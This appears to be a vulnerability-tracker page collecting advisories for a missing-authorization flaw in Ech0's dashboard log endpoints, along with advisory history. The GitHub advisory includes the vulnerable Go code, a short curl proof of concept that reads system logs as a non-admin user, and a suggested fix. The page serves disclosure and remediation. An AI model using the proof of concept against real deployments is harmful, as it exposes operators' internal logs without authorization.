Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Ech0 before 4.4.3 Missing Authorization via dashboard log endpoints

CVSS 4.0 7.1 HIGHCVSS 3.1 6.5 MEDIUMEUVD CVSS 4.0 7.1 CVSS 4.0 · [email protected] · Secondary 7.1 HIGHCVSS 3.1 · [email protected] · Secondary 6.5 MEDIUMCVSS_V3 Publisher rating MODERATEFixed by github.com/lin-snow/ech0 4.3.5osv · severity unknownKEV status unknown

cve-program · CVE-2026-79666

Published

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and WebSocket log streams to retrieve sensitive operational data including file paths, stack traces, and internal URLs.

Read the publisher's advisory

euvd · EUVD-2026-65448

Published

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and WebSocket log streams to retrieve sensitive operational data including file paths, stack traces, and internal URLs.

Read the publisher's advisory

nvd · CVE-2026-79666

Published

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and WebSocket log streams to retrieve sensitive operational data including file paths, stack traces, and internal URLs.

Read the publisher's advisory

osv · GHSA-cp79-9mwr-wr49

Published

## Summary Ech0 allows any authenticated user to read historical system logs and subscribe to live log streams because the dashboard log endpoints validate only that a JWT is present and valid, but do not require an administrator role or privileged scope. ## Impact Any valid user session can access `GET /api/system/logs` and can also connect to the SSE and WebSocket log streaming endpoints. This exposes operational log data to low-privilege users. Depending on deployment and logging practices, the returned logs may include internal file paths, stack traces, admin activity, background job output, internal URLs, and other sensitive operational context. This creates a post-authentication information disclosure primitive that can materially aid follow-on attacks. ## Details The issue is caused by an authorization gap between route registration, handler logic, and the service layer. `internal/router/dashboard.go` registers the log endpoints on authenticated router groups, but does not apply any admin-only authorization middleware: ```go func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { // Auth appRouterGroup.AuthRouterGroup.GET("/system/logs", h.DashboardHandler.GetSystemLogs()) appRouterGroup.AuthRouterGroup.GET("/system/logs/stream", h.DashboardHandler.SSESubscribeSystemLogs()) appRouterGroup.WSRouterGroup.GET("/system/logs", h.DashboardHandler.WSSubscribeSystemLogs()) } ``` `internal/handler/dashboard/dashboard.go` returns log data directly and the SSE/WS handlers only check whether `jwtUtil.ParseToken(token)` succeeds: ```go func (dashboardHandler *DashboardHandler) GetSystemLogs() gin.HandlerFunc { return res.Execute(func(ctx *gin.Context) res.Response { logs, err := dashboardHandler.dashboardService.GetSystemLogs(service.SystemLogQuery{ Tail: tail, Level: ctx.Query("level"), Keyword: ctx.Query("keyword"), }) if err != nil { return res.Response{Err: err} } return res.Response{ Data: logs, Msg: "获取系统日志成功", } }) } ``` `internal/service/dashboard/dashboard.go` exposes the log backend without adding a compensating admin check: ```go func (s *DashboardService) GetSystemLogs(query SystemLogQuery) ([]logUtil.LogEntry, error) { tail := query.Tail if tail <= 0 { tail = 200 } return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword) } ``` Affected endpoints: - `GET /api/system/logs` - `GET /api/system/logs/stream?token=...` - `GET /ws/system/logs?token=...` ## Proof of concept ### 1. Start the app ```bash docker run -d \ --name ech0 \ -p 6277:6277 \ -v /opt/ech0/data:/app/data \ -e JWT_SECRET="Hello Echos" \ sn0wl1n/ech0:latest ``` ### 2. Initialize an owner account and register a normal user ```bash curl -sS -X POST "http://127.0.0.1:6277/api/init/owner" \ -H 'Content-Type: application/json' \ -d '{"username":"owner","password":"ownerpass","email":"[email protected]"}' curl -sS -X POST "http://127.0.0.1:6277/api/register" \ -H 'Content-Type: application/json' \ -d '{"username":"winky","password":"winkypass","email":"[email protected]"}' ``` ### 3. Log in as the non-admin user and request the system log endpoint ```bash winky_token=$( curl -sS -X POST "http://127.0.0.1:6277/api/login" \ -H 'Content-Type: application/json' \ -d '{"username":"winky","password":"winkypass"}' \ | sed -n 's/.*"data":"\([^"]*\)".*/\1/p' ) curl -sS "http://127.0.0.1:6277/api/system/logs" \ -H "Authorization: Bearer $winky_token" ``` Observed response: the non-admin user receives 200 OK and a JSON response containing entries from `app.log` <img width="1073" height="183" alt="image" src="https://github.com/user-attachments/assets/f0a836fa-121f-4fb7-a94c-92344d9aedd8" /> The same missing-authorization pattern also affects: - `GET /api/system/logs/stream?token=<non-admin-token>` - `GET /ws/system/logs?token=<non-admin-token>` ## Recommended fix Require an explicit admin-only scope on all dashboard log routes and enforce the same requirement in the service layer. Suggested change in `internal/router/dashboard.go`: ```go import ( "github.com/lin-snow/ech0/internal/handler" "github.com/lin-snow/ech0/internal/middleware" authModel "github.com/lin-snow/ech0/internal/model/auth" ) func setupDashboardRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { appRouterGroup.AuthRouterGroup.GET( "/system/logs", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.GetSystemLogs(), ) appRouterGroup.AuthRouterGroup.GET( "/system/logs/stream", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.SSESubscribeSystemLogs(), ) appRouterGroup.WSRouterGroup.GET( "/system/logs", middleware.RequireScopes(authModel.ScopeAdminSettings), h.DashboardHandler.WSSubscribeSystemLogs(), ) } ``` Suggested defense-in-depth change in the service layer: ```go func (s *DashboardService) GetSystemLogs(ctx context.Context, query SystemLogQuery) ([]logUtil.LogEntry, error) { if err := s.ensureAdmin(ctx); err != nil { return nil, err } tail := query.Tail if tail <= 0 { tail = 200 } return logUtil.QueryLogFileTail(logUtil.CurrentLogFilePath(), tail, query.Level, query.Keyword) } ```

Read the publisher's advisory

osv · GO-2026-5328

Published

Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.3.5.

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

Risk history

Compare earlier KEV listings and EPSS scores. Advisory wording and affected versions have a separate history.

When does an EPSS score appear as a change?

A prediction change is reported when EPSS rises from below 10% to 10% or higher. Every daily score change from the last 30 days stays in this history. Before that, it keeps KEV changes and moves between EPSS bands (0.1%, 1%, 5%, 10%, 20%, 50% and 90%).

Advisory history

16 saved versions

See how the publisher's advisory changed over time. Each link opens the version saved at that time. The publisher's update date can differ from the date shown here.

How advisory history works

Each link identifies one complete publisher record. History can include advisories that previously shared an identifier; an identifier removed by a publisher no longer establishes a current relationship. A historical link shows only that record and earlier saved versions. Failed checks and unchanged reads do not create new versions.

19 Nov 2026 18:51:00 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

17 Nov 2026 18:41:18 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

15 Nov 2026 17:52:21 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

13 Nov 2026 17:08:30 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

11 Nov 2026 16:09:38 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

9 Nov 2026 15:14:39 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

7 Nov 2026 14:30:37 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

5 Nov 2026 13:46:13 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

3 Nov 2026 13:09:57 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

1 Nov 2026 12:58:09 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

30 Oct 2026 11:58:32 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

28 Oct 2026 09:43:55 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

euvd · EUVD-2026-65448 · Published

25 Oct 2026 16:19:04 UTC

Ech0 before 4.4.3 fails to enforce administrator authorization on dashboard log endpoints, allowing any authenticated user to access system logs. Attackers with valid user sessions can query GET /api/system/logs and subscribe to SSE and Web…

nvd · CVE-2026-79666 · Published

24 Oct 2026 13:19:41 UTC

Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs

osv · GHSA-cp79-9mwr-wr49 · Published

24 Oct 2026 13:19:41 UTC

Ech0: Missing authorization on dashboard log endpoints allows low-privilege users to access sensitive system logs in github.com/lin-snow/ech0

osv · GO-2026-5328 · Published

23 Oct 2026 15:48:27 UTC

Ech0 before 4.4.3 Missing Authorization via dashboard log endpoints

cve-program · CVE-2026-79666 · Published

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 20 Nov 03:39 UTC · 273 of 275 readable · 269 fully read · documentation 469/469 current